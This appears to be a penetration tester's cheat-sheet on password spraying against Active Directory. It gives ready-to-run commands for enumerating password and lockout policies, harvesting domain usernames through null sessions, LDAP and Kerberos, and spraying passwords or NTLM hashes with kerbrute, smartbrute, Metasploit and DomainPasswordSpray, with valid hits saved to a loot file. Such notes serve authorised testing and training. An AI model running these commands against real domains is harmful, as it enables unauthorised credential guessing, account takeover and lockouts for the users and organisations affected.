# Password Spraying

## Password Policy

Enumerate password policy in the domain:

```
$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess
```

Example of `net accounts` output:

| Name (EN)                              | Name (RU)                                 | Value |
| -------------------------------------- | ----------------------------------------- | ----- |
| Minimum password age (days):           | Минимальный срок действия пароля (дней):  | 1     |
| Maximum password age (days):           | Максимальный срок действия пароля (дней): | 90    |
| Minimum password length:               | Минимальная длина пароля:                 | 10    |
| Length of password history maintained: | Хранение неповторяющихся паролей:         | 24    |
| Lockout threshold:                     | Блокировка после ошибок ввода пароля:     | 7     |
| Lockout duration (minutes):            | Длительность блокировки (минут):          | 30    |
| Lockout observation window (minutes):  | Сброс счетчика блокировок через (минут):  | 30    |

### Fine-Grained Password Policies

* <https://specopssoft.com/blog/create-fine-grained-password-policy-active-directory/>
* [https://pwsh.ru/fine-grained-password-policy-как-создать-детальную-политику/](https://pwsh.ru/fine-grained-password-policy-%D0%BA%D0%B0%D0%BA-%D1%81%D0%BE%D0%B7%D0%B4%D0%B0%D1%82%D1%8C-%D0%B4%D0%B5%D1%82%D0%B0%D0%BB%D1%8C%D0%BD%D1%83%D1%8E-%D0%BF%D0%BE%D0%BB%D0%B8%D1%82%D0%B8%D0%BA%D1%83/)
* <https://github.com/n00py/GetFGPP>
* <https://en.hackndo.com/password-spraying-lockout/>
* <https://github.com/login-securite/conpass>

Map FGPPs to the users they're being applied to (need admin privileges by default):

```powershell
ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
    $appliesTo = $fgpp | select -ExpandProperty AppliesTo
    $objectClass = (Get-ADObject $appliesTo).ObjectClass

    Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"
    $fgpp | Out-Host

    If ($objectClass -eq "group") {
        Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
    ElseIf ($objectClass -eq "user") {
        Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
}
```

{% hint style="info" %}
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with `msDS-PSOApplied` or `msDS-ResultantPSO` properties populated (can be read by a regular user) from the spray list.

Check if exists:

```
PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO
```

{% endhint %}

## Validate Domain Users

Validate against KDC ([doesn't cause](https://github.com/ropnop/kerbrute#user-enumeration) accounts lock out) via Kerberos with NetExec:

```
$ nxc smb 192.168.1.11 -u users.txt -p '' -k
```

Validate via cLDAP (LDAP Ping) with [ldapnomnom](https://github.com/lkarlslund/ldapnomnom)/[ldeep](https://github.com/franc-pentest/ldeep):

```bash
# ldapnomnom
eget -qs linux/amd64 "lkarlslund/ldapnomnom" --to ~/tools/ldapnomnom
gtcp() { ~/tools/graftcp/local/mgraftcp --socks5="127.0.0.1:${1}" "${@:2}" }
gtcp 1080 [--enable-debug-log] ldapnomnom -input /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -dnsdomain megacorp.local -server 192.168.1.11[,192.168.1.12,192.168.1.13] [-tlsmode TLS -port 636] [-parallel 1] [-throttle 1000] -output valid.txt
# ldeep
pipx install -f "git+https://github.com/franc-pentest/ldeep.git"
proxychains4 ldeep ldap [--no-encryption] -a -d megacorp.local -s ldaps://192.168.1.11:636 enum_users [-d 1000] users
```

Validate via MS-NRPC (Netlogon) with [NauthNRPC](https://github.com/sud0Ru/NauthNRPC):

```
$ python3 nauth.py -t 192.168.1.11 -u users.txt -c comps.txt
```

## Get Domain Users

### Non-Authenticated (Null Session)

* <https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-null-sessions>
* <https://sensepost.com/blog/2024/guest-vs-null-session-on-windows/>

{% content-ref url="rid-cycling" %}
[rid-cycling](https://ppn.snovvcra.sh/pentest/infrastructure/ad/rid-cycling)
{% endcontent-ref %}

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via **RID Cycling**.

Another approach is to manually request all users via RPC (`$IPC` share):

#### CrackMapExec

```
$ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups
```

#### rpcclient:

```
$ rpcclient -N -U '' 192.168.1.11
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
```

#### net:

```
$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '192.168.1.11' -U '%'
```

#### smbclient (check):

```
$ smbclient -N -U '' -L 192.168.1.11
```

#### [enum4linux](https://github.com/CiscoCXSecurity/enum4linux) / [enum4linux-ng](https://github.com/cddmp/enum4linux-ng):

```
$ enum4linux -v -a 192.168.1.11 | tee ~/ws/log/enum4linux.out
```

#### [nullinux](https://github.com/m8r0wn/nullinux):

```
$ nullinux.py 192.168.1.11
```

### Authenticated

Query LDAP for all domain user accounts via [GetADUsers.py](https://github.com/fortra/impacket/blob/master/examples/GetADUsers.py):

```
$ GetADUsers.py MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip 192.168.1.11 | tee ~/ws/log/GetADUsers.out
```

Query LDAP for all domain user accounts via [windapsearch](https://github.com/ropnop/windapsearch):

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk -F@ '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt
```

Query LDAP for all **active** domain user accounts via [go-windapsearch](https://github.com/ropnop/go-windapsearch):

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt
```

## Shadow Spray

* <https://github.com/Dec0ne/ShadowSpray>

```
$ python3 pywhisker.py -d megacorp.local -u snovvcrash  -p 'Passw0rd!' --target-list users.txt --action spray -v
```

## Tools

### MSF

```
msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run
```

### kerbrute

* <https://github.com/ropnop/kerbrute>
* <https://github.com/urbanadventurer/username-anarchy>
* <https://github.com/captain-noob/username-wordlist-generator>
* <https://gist.github.com/superkojiman/11076951>

Generate a wordlist of common usernames in an appropriate format and validate it against KDC ([doesn't cause](https://github.com/ropnop/kerbrute#user-enumeration) accounts lock out):

```
$ kerbrute -d megacorp.local -o ~/ws/log/kerbrute-userenum.log userenum ~/ws/enum/names.txt
$ cat ~/ws/log/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' > ~/ws/enum/valid-users.txt
```

Perform password spraying for discovered accounts:

```
$ kerbrute --delay 100 -d megacorp.local -o ~/ws/log/kerbrute-passwordspray-'123456'.log passwordspray ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/log/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt
```

### pyKerbrute

* <https://github.com/3gstudent/pyKerbrute>

```
$ python2 ADPwdSpray.py 192.168.1.11 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp
```

### smartbrute

* <https://github.com/ShutdownRepo/smartbrute>

Spray single hash against a list of users:

```
$ smartbrute -v brute --delay 1 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --kdc-ip 192.168.1.11
```

Get domain password policy and active users:

```
$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --kdc-ip 192.168.1.11
```

Launch smart password spray with a hash:

```
$ smartbrute -v smart --delay 1 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --kdc-ip 192.168.1.11 kerberos
```

### DomainPasswordSpray

* <https://github.com/dafthack/DomainPasswordSpray>

```
PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt
```
